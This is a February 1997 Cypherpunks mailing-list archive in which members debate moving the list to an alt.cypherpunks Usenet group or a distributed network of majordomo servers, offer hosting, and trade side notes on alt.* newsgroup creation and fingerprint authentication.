(Speculation: Isn't some of this talk about distributed mailing list sites
and mirroring beginning to echo the structure of FidoNet?)

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 22:45:32 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Network of majordomos
Message-ID: <199702120645.WAA07891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:45 AM 2/11/97 -0600, Firebeard wrote:

>[...] I've already taken steps, along with Jim Choate, to
>start a network of majordomos hosting a Cypherpunks mailing list.
>[...] Our intention is to have a set of majordomos which
>are intersubscribed to a cypherpunks list on each one, with measures
>taken to ensure that mail loops don't develop.

I still think you're just rediscovering Usenet technology. Instead of
installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
you don't like alt.cypherpunks, you could simply start your own top-level
cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
an evil CIA brain-stealing censor) so that cpunks at large could connect with
newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks
could do this (instead of using Majordomo) locally, connecting to each other
to achieve wide propagation and low latency.

And, if you must, run mail-to-news gateway(s) which send the newsgroup to
people who want it as E-mail.

Usenet technology does exactly what you're describing: it's a distributed
database of messages designed to facilitate each server getting its own copy
of every message, and holding it locally for distribution to interested
readers. Other people have been kind enough to write, debug, and document the
software - all you have to do is install it. This could be running tonight. 

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tM3zeWSt/SukyGfxRLkrRYF4GMU5eKEYBYI7p/3q6WioYBk4JI22EeAyr5Cn+1IA
icMJhCpfUE6P1YoC+7zPh+Kbp8Ny3tCtry/axsSZfVRsBZr2M33VONe47quC1l5A
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-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 23:02:19 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120702.XAA08107@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If the people decide for creation of a new USENET newsgroup,
we need to think very hard about actually moving it to a different
hierarchy from alt.*. I would propose comp.org.cypherpunks,
comp.cypherpunks, sci.crypt.cypherpunks or something like that.

A comp.* or sci.* newsgroup, if created, has the following advantages
over an alt.* newsgroup:

1) There is usually less spam in sci.* or comp.*
2) There are virtually no completely irrelevant flamewars
3) The propagation will be a lot better
4) More people will be able to read it because of the issue of providers
   not carrying alt.*.

I see nothing that would make a sci.* or comp.* newsgroup  worse than
alt.* newsgroup.

igor

Timothy C. May wrote:
> 
> 
> (Please leave my name in any replies to ensure I see your comments.)
> 
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.
> 
> (We did not, unfortunately, get to the "future of the list" topic at the
> physical meeting...the excellent presentations ran way over the expected
> time and we never got to this topic. Sort of too bad, given John's edict
> that we have 10 days to find and implement an alternative....)
> 
> A Usenet newsgroup has many advantages and disadvantages. Whether it might
> be gatewayed to other mailing lists--perhaps even the list(s) which
> survives "cypherpunks@toad.com"--depends of course on the decision of those
> hosting others lists.
> 
> A charter statement is needed, and then the issuance of a creation message.
> A better charter statement will increase the chances of more sites carrying
> the newsgroup. While many sites carry essentially all newsgroups--more than
> 30,000--, some sites do not and only carry some of the alt.heirarchy. And
> some sites do not carry _any_ of the alt newsgroups.
> 
> At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
> Suggestions for additional language or changes are welcome.
> 
> Charter for alt.cypherpunks: (suggested)
> 
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> cryptography. The Cypherpunks grpup has existed since 1992 and has been
> central in the debate about strong crypto, government restrictions, crypto
> anarchy, and in showing weaknesses of various ciphers and security
> products. The mailing list has had as many as 1500 subscribers, plus
> gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
> will be a free-wheeling forum for many viewpoints. As it is unmoderated,
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."
> 
> I invite your comments, editorial suggestions, etc. Perhaps when enough of
> the "collective mind" has made inputs (ughh!), the charter can be submitted
> with the creation message. (I'm not knowledgeable about the process, but
> I'll bet many of you are.)
> 
> There are of course disadvantages to such a newsgroup, as any Usenet user
> certainly knows. However, there are advantages as well. Here are some of
> each:
> 
> 
> * Advantages:
> 
> - Usenet is set up to automagically propagate articles across tens of
> thousands of sites.
> 
> - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.)
> for halting distribution of Usenet newsgroups. (Canada stopped some
> Homulka-Teale newsgroups a few years ago, other countries have blocked
> entire sections, but note that the Scientologists have been unable to block
> "alt.religion.scientology"...I surmise that a mailing list version of
> a.r.s. would have faced lawsuits against the list.owner, if reachable in
> U.S. or European courts...a lesson to think about with the current
> imbroglio over certain claims about certain products and the possible
> liability of Sandy and/or toad.com.)
> 
> - fairly sophisticated newsreading software already exists.
> 
> - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers
> to discover the group, read it for a while, then stop. It also, of course,
> increases the number of "What is crypto?" sorts of messages.)
> 
> - persons cannot be unsubscribed from an unmoderated list
> 
> - with a Usenet group, there is no ability to impose notions of "order" on
> the list (e.g., requirements for PGP-signing, demands for "on-topic" posts,
> removal of "illegal" posts, etc.). Thus, people must deal with a virtual
> anarchy by using proper tools, by ignoring what they don't want to see, or
> by contracting out the role of "nanny" to others.
> 
> 
> * Disadvantages
> 
> - Usenet newsgroups are easy targets for spammers, even more so than are
> mailing lists.
> 
> - crossposting often gets out of hand. (With 30,000+ newsgroups, even
> well-intentioned posters often pick the "three or four most likely" targets
> for their posts).
> 
> - propagation is often spotty, and some sites have no access at all to the
> "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
> academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
> to mailing list gateway is possible for these readers.)
> 
> - propagation may be slower than mailing lists.
> 
> - Usenet is of course archived and easily searchable via Alta Vista, Deja
> News, etc.. This bothers some people. (However, the CP mailing list is now
> also archived and searchable, so the disadvantage is becoming moot.)
> 
> - persons cannot be unsubscribed from an unmoderated list (this is also an
> advantage, of course)
> 
> - there will be more newbie-type messages, as casual browsers of Usenet
> discover alt.cypherpunks and ask questions. This is both a disadvantage and
> an advantage.
> 
> 
> * Discussion of some of these points:
> 
> 1. The issue of slow- or non-propagation can be handled by having mailing
> lists which bounce the traffic (from a well-connected site) to folks who
> get slow distribution, or no distribution at all. News to mail gateways, in
> other words. Traffic in the reverse direction (end reader back to
> alt.cypherpunks) can be handled either by "blind posting" to the a.c.
> newsgroup, via one's newsreader, or through mail-to-news gateways, or
> perhaps via the distributor described here.
> 
> 2. And the services of "moderators," such as Eric Blossom's and Ray
> Arachelian's "best of" lists, or even Sandy's list, are of course still
> possible. A newsgroup does not change this, except for the latency in
> getting messages out to newsgroup sites.
> 
> 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The
> Usenet carries huge advantages in terms of having no place to attack it.
> 
> 4. Some have raised the point that Usenet is "inefficient" and should not
> be used for this reason. Well, it may indeed be ineficient, but the costs
> have already been incurred, and alt.cypherpunks would only be 1/30,000th of
> additional load (very roughly speaking). In other words, might as well use
> what's out there. If a "second Usenet" ever comes into existence, fine.
> 
> 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At
> that time, we thought the mailing list had some major advantages. In my
> view, the situation has changed dramatically since then. The mailing list
> has become huge, the volume of noise has increased, majordomo is allowing
> the list to be used for spamming (any 'bot system will probably have this),
> and the list is already gatewayed to many sites as a _newsgroup_ anyway.
> 
> So, I think the time has come to just create it. The "activation energy
> barrier" of a mailing list, where people would have to make the effort to
> subscribe, has long since become irrelevant.
> 
> It may be a target for spammers, but it's hard to imagine it being much
> worse than what we have now.
> 
> Usenet is an anarchy. We might as well use it.
> 
> I've never created an alt group, but I presume many of you have (and I know
> of one currently fed up Cypherpunk who created the entire alt.* hierarchy a
> decade or so ago). I presume some of you can thus help in such an effort.
> 
> --Tim May
> 
> 
> 
> 
> 
> 
> Just say "No" to "Big Brother Inside"
> We got computers, we're tapping phone lines, I know that that ain't allowed.
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 21:54:39 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120554.VAA07252@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


i have already set up majordomo@algebra.com and cypherpunks@algebra.com 
and can join.

igor

Firebeard wrote:
> 
> >>>>> John Gilmore writes:
> 
> JG> Sandy has agreed to continue moderation through the end of the
> JG> original 1-month experiment (through Feb 19).  And it's a good
> JG> thing, too, because the "cypherpunks community" had better get off
> JG> its whining butt in the next ten days, or it will no longer exist.
> 
> [...]
> 
> JG> This is a "put up or shut up" to the cypherpunks community.
> 
> 	This appears to be as good a time as any to announce that I'm
> "putting up".  I've already taken steps, along with Jim Choate, to
> start a network of majordomos hosting a Cypherpunks mailing list.  I
> didn't intend to announce this until Jim and I had gotten the first
> pair of 'domos working properly, but this means that we'll need to
> speed things up.  Our intention is to have a set of majordomos which
> are intersubscribed to a cypherpunks list on each one, with measures
> taken to ensure that mail loops don't develop.  As the resulting
> mailing list from each 'domo will be identical, periodically
> (initially weekly), the subscriber lists of all of the participating
> majordomos will be compared, with any duplicate subscribers being
> removed from the 'domo(s) with the longest subscriber list.  There
> will be no filtering done of any mail to the collective list, although
> anyone interested in providing a filtered list will be welcome to
> subscribe to the list.  Anyone interested in joining the 'domo network
> with the conditions described (duplicate subscriber checking and no
> filtering) is welcome.
> 
> 	John, I'd appreciate your permission to use your Cypherpunks
> welcome message as the basis for the welcome message of this new list.
> Also, while we will make every effort to have this new list available
> for subscriptions by Feb 20, I'd appreciate it if you could consider
> making the current list available for a short period longer if we
> encounter unanticipated difficulties.
> 
> -- 
> #include <disclaimer.h>                               /* Sten Drescher */
> ObCDABait:      For she doted upon their paramours, whose flesh is as the
> flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
> ObFelony: President Clinton, you suck, and those boys died!
> Unsolicited bulk email will be stored and handled for a US$500/KB fee.
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 16:27:30 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120027.QAA00326@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


linux with 16 MB ram will probably get you through.

igor

Alan Olsen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote:
> >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >                          SANDY SANDFORT
> > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >
> >C'punks,
> >
> >You have probably just read John's post.  I truly hope YOU (each
> >and every one of you) can rise to his challenge.  If you have 
> >offered nothing in the past but criticism, it's now time to get a
> >bit more real.  What will it be, your money, time, equipment?
> 
> What kind of memory requirements/machine load does the list eat up?  I have a
> machine that may fit this purpose...  (Need to know if I need to upgrade the
> box though.)
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O
> 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV
> T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q
> OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT
> fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX
> 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ==
> =CWO1
> -----END PGP SIGNATURE-----
> 
> ---
> |            "Mi Tio es infermo, pero la carretera es verde!"            |
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
> | mankind free in one-key-steganography-privacy!"  | Ignore the man      |
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Tue, 11 Feb 1997 21:50:11 -0800 (PST)
To: Greg Broiles <stend@sten.tivoli.com>
Subject: Re: Network of majordomos
Message-ID: <199702120550.VAA07162@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:09 PM 2/11/1997, Greg Broiles wrote:
>At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>> [...] I've already taken steps, along with Jim Choate, to
>> start a network of majordomos hosting a Cypherpunks mailing list.
>> [...] Our intention is to have a set of majordomos which
>> are intersubscribed to a cypherpunks list on each one, with measures
>> taken to ensure that mail loops don't develop.

> I still think you're just rediscovering Usenet technology....

> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
> people who want it as E-mail.

> Usenet technology does exactly what you're describing:...

How about this?  The people who like Usenet should race ahead and set
it up.  The people who like networks of majordomos should race ahead
and set those up.  Just so long as the tracks meet somewhere in Utah.

The more people are involved with distributing the "list" the more
robust it will be.

Peter Hendrickson
pdh@best.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Tue, 11 Feb 1997 18:11:13 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120211.SAA02828@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Feb 11,  2:42pm, Alan Bostick wrote:
> new alt.* newsgroups are better
> received if they don't have top-level names.  Using existing top-level
> hierarchies is better (e.g. alt.security.cypherpunks or
> alt.privacy.cypherpunks).

I agree that alt.privacy.cypherpunks is the best bet, if alt.group
is the route we go.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 19:14:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120314.TAA05270@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>>>>>> John Gilmore writes:
>
>JG> Sandy has agreed to continue moderation through the end of the
>JG> original 1-month experiment (through Feb 19).  And it's a good
>JG> thing, too, because the "cypherpunks community" had better get off
>JG> its whining butt in the next ten days, or it will no longer exist.
>
>[...]
>
>JG> This is a "put up or shut up" to the cypherpunks community.
>
>	This appears to be as good a time as any to announce that I'm
>"putting up".  I've already taken steps, along with Jim Choate, to
>start a network of majordomos hosting a Cypherpunks mailing list.  I
>didn't intend to announce this until Jim and I had gotten the first
>pair of 'domos working properly, but this means that we'll need to
>speed things up.  Our intention is to have a set of majordomos which
>are intersubscribed to a cypherpunks list on each one, with measures
>taken to ensure that mail loops don't develop.  As the resulting
>mailing list from each 'domo will be identical, periodically
>(initially weekly), the subscriber lists of all of the participating
>majordomos will be compared, with any duplicate subscribers being
>removed from the 'domo(s) with the longest subscriber list....
You might want to set up a temporary majordomo on the same machine as one of
the permanent daemons for debugging purposes.  It is conceivable to me that
a message might be sent to one sub-list, be forewarded to two lists, and
then each of those foreward the same message to each other, causing duplication.
You might get around this if the daemons keep track of each others, unique,
message ID numbers.
In other words, if each unit were to apend the message ID with a personal ID
number when the message came from someone other than a majordomo, then they
could collate them by number, eliminate duplications, and send them on down
the line.
To do this, the majordomo daemons will probably have to have a guaranteed
seat in the front of the cue.
This is probably a stupid point to bring up as you have probably already
cured this problem, but I decided to post it anyway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 18:12:28 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120212.SAA03278@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:15 AM 2/11/97 -0800, Timothy C. May wrote:
>- propagation is often spotty, and some sites have no access at all to the
>"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
>academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
>to mailing list gateway is possible for these readers.)

Everybody with a web browser has access to alt newsgroups via
http://www.dejanews.com/





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 19:00:34 -0800 (PST)
To: John Young <cypherpunks@toad.com
Subject: Re: STE_pup
Message-ID: <199702120300.TAA04924@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:39 AM 2/11/97 -0500, John Young wrote:
>  Oracle's new fingerprint checking device to assure bona fide
>  log-on privileges. Covers other such devices, quotes a maker:
>  "if criminals or hackers get through these, industry will
>  step up one more level."

Fingerprint readers tend to work regardless if the finger is attached to a
body or not. All that fingerprint readers will do is increase the damage to
those relying on ever increasing, but misguided, methods of authentication.
See the rise in "identity theft" since SSN's began to be used for
identification.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Tue, 11 Feb 1997 22:16:53 -0800 (PST)
To: DC-Stuff List <dc-stuff@dis.org>
Subject: Germany Versus Scientology
Message-ID: <199702120616.WAA07549@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I have posted a rather lengthy story about Germany's war against the 
Scientologists. It was long enough to preclude mailing it directly to the 
lists, so I have put it on my web site. You may find it at:

	http://www.dis.org/se7en/

with the link being directly under the large "X." I decided to post it 
for the reasons that I know several people who suffered directly at the 
hands of the Scientologists after trying to infiltrate their organization 
via the Internet. These people will recieve this message due to this 
posting. Enjoy.

se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Tue, 11 Feb 1997 22:16:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: whois cypherpunks.org ?
Message-ID: <199702120616.WAA07536@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


With all this talk about relocating the home of cypherpunks, I decided to
see if any second level domains are registered under the cypherpunks
name.

Both cypherpunks.org and cypherpunks.com are registered by one
Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
though. Anybody knows more about this?

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 22:38:45 -0800 (PST)
To: Mac-crypto Distribution <rah@shipwright.com>
Subject: Mac-Crypto 1997 session Schedule
Message-ID: <199702120638.WAA07847@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 11 Feb 1997 13:43:19 -0800
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject: Mac-Crypto 1997 session Schedule

hey all;

I have posted a preliminary list of sessions for the 1997 Mac-Crypto
conference at the Mac-Crypto conference at the webpage
http://www.vmeng.com/mc/conf.html

if you haven't registered, please get your name in now!

if you want to give a talk, please drop me a line asap.



Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
-------------------------------------------------------


  ...I know what probably happened. A new high-level manager at Apple
picked up
  some old dusty videotape off the shelf, labelled "Super Bowl 1984", played
  it and said, "Yah know, that guy on the screen was making a hell of a lot of
  sense until that trouble-maker smashed it!"




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 21:49:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks
Message-ID: <199702120549.VAA07146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey, folks,

I thought all you had to do to create an alt.group was to have a news admin
somewhere just make a group; send out a control message of somekind. I
thought that alt groups didn't have to go through a charter, or voting
process, or anything else. They just happened.

Then, everyone just has to tell their local news admin that they went to
see it, or they can wait until their news admin sees it flying by, and adds
it to the available groups list at his own discretion.

It's not like we want comp.cypherpunks or something, with a voting process,
right?

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 11 Feb 1997 18:53:26 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120253.SAA04759@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort allegedly said:
> 
[...]
> Finally, if anyone wants to discuss why the Cypherpunk list has
> come to this, or what I did right or wrong as a moderator, let's
> talk about--on the new list(s) YOU create.  For now, though, it's
> off-topic.  We have work to do.

If a scheme can be worked out for a distributed list, I am willing to 
support maybe 100 users at songbird.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 22:01:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up") (fwd)
Message-ID: <199702120601.WAA07346@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 18:49:46 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> 
> > 	This appears to be as good a time as any to announce that I'm
> > "putting up".  I've already taken steps, along with Jim Choate, to
> > start a network of majordomos hosting a Cypherpunks mailing list.  I
> > didn't intend to announce this until Jim and I had gotten the first
> > pair of 'domos working properly, but this means that we'll need to
> > speed things up.  Our intention is to have a set of majordomos which
> > are intersubscribed to a cypherpunks list on each one, with measures
> > taken to ensure that mail loops don't develop.  

> I'll contribute what I had planned:
> 
> As a stop gap measure you could create a standard majordomo at the
> beefiest of your 'domo hosts.

While it is true I was planning on bringing the Austin Cpunks remailer back
(kourier.ssz.com) this rather unexpected expansion has got me backpedalling.
So it looks like it will take about 3 weeks to get the intial site ready for
public access.

Right now my ISDN based site is all we have working. We have another site
through another ISP in the process of registering and configuration. I have
currently created a 'cypherpunks@ssz.com' but still have a couple of other
issues to work out. The most relevant one is that I will be upgrading both
Linux and Majordomo in approx. 2 weeks. We will be discussing this issue
further on Saturday at the Austin Cypherpunks meeting. If all goes well with
our discussion and my upgrade we should have the SSZ cypherpunks site
available in about 2 weeks. Sten and I hope that we can pursuade some others
to get involved both running remailers as well as modifying the various
scripts. At this point everything we do will be released to the public
domain. We also are expecting to add a proviso that all submissions to the
cpunks distributed remailer will be de facto public domain unless a specific
'fair use' header is included in each submission.

Finaly, another issue that will slow me down is the upcoming SRL show here
in Austin. I have committed time and effort so I don't know yet how the
conflicts will come or how I will resolve them. The next SRL planning meet
is Thu. nite so I will have a clearer idea of my upcoming schedule.

> Or you could create a quick 'n dirty mail exploder, by taking the
> current subscribers, and putting 100 mail addresses in a .forward file

[much good comments cut out]

> Final comment: perhaps you've investigated this, but what Perry
> Metzger has for the majordomo running cryptography@c2.net is excellent
> at stopping people forging subscribe and unsubscribe messages.
> 
> And would really cut down the nuisance of people subscribing others
> without their knowledge.

These are several of the issues that we will be discussing this Saturday.
We will also be looking at various means to distribute the subscriber list.
The current lead suggestion is to have subscriptions at any of the cpunks be
evenly distributed among them. This would somewhat complicate the subscriber
process.

Another aspect that I am hot to trot on is setting the system up so that
some of the cpunks sites could be anonymous, crypto, or combo remailers as
well.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 11 Feb 1997 22:48:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702120648.WAA07958@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga writes:

> Hey, folks,

> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.

> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.

In theory, and according to the alt FAQ, anyone can create an alt group. 

In reality, control messages are merely advisory, and greater weight is
lent to control messages which have the imprimatur of the Alt Cabal than
to those issued by mere peons. 

The typical news admin finds that if he honors all rmgroup messages issued
by Cabal members, when they disapprove of a newsgroup not previously
discussed in alt.config, his life is made simpler, and he no longer has to
weed the wheat from the chaf by hand. 

Since most people are inherently lazy, and most newgroups created outside
of the alt.config process are trash, the path of least resistance is to
only automatically honor newgroups and rmgroups issued by Cabal members. 

This is of course the exact antithesis of how alt was supposed to work in
the first place, but with the large number of users on the Net at present,
it is not practical to create every single newsgroup a person might want
automatically.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 11 Feb 1997 19:21:08 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120321.TAA05381@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> (Please leave my name in any replies to ensure I see your comments.)
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.

     Might "we" get wider propigation with something like "talk.issues.crypto"
or "talk.cypherpunks"? 

> Charter for alt.cypherpunks: (suggested)
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."

     Maybe a pointer to these tools?

> * Disadvantages

	-Mailing lists easily penetrate firewalls, while many places don't 
provide Usenet access. 

	Another possibility would be to create a "private Usenet" setting up
NNTP servers that _only_ talk to each other. This would eventually allow for
the same sort of redundancy that the "regular" usenet offers, provide some of 
the same efficient use of resources, and ease of use (almost) but provide some
protection against spammers & etc. 

	For those who don't understand, this is how it would work (and correct
me if I am wrong): 

	Usenet works by servers exchanging messages with one or more other 
servers it is decentralized and has no central authority (execpt the cabal 
--there is no cabal) inherent in the process. These servers are told _who_
they get their feed from/to, so it should be possible to set up another 
network of Usenet servers just to serve our purposes.

	As part of setting up the servers, they can be configured as to who
they From owner-cypherpunks  Wed Feb 12 08:00:24 1997
Return-Path: owner-cypherpunks
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id IAA22396; Wed, 12 Feb 1997 08:00:24 -0800 (PST)
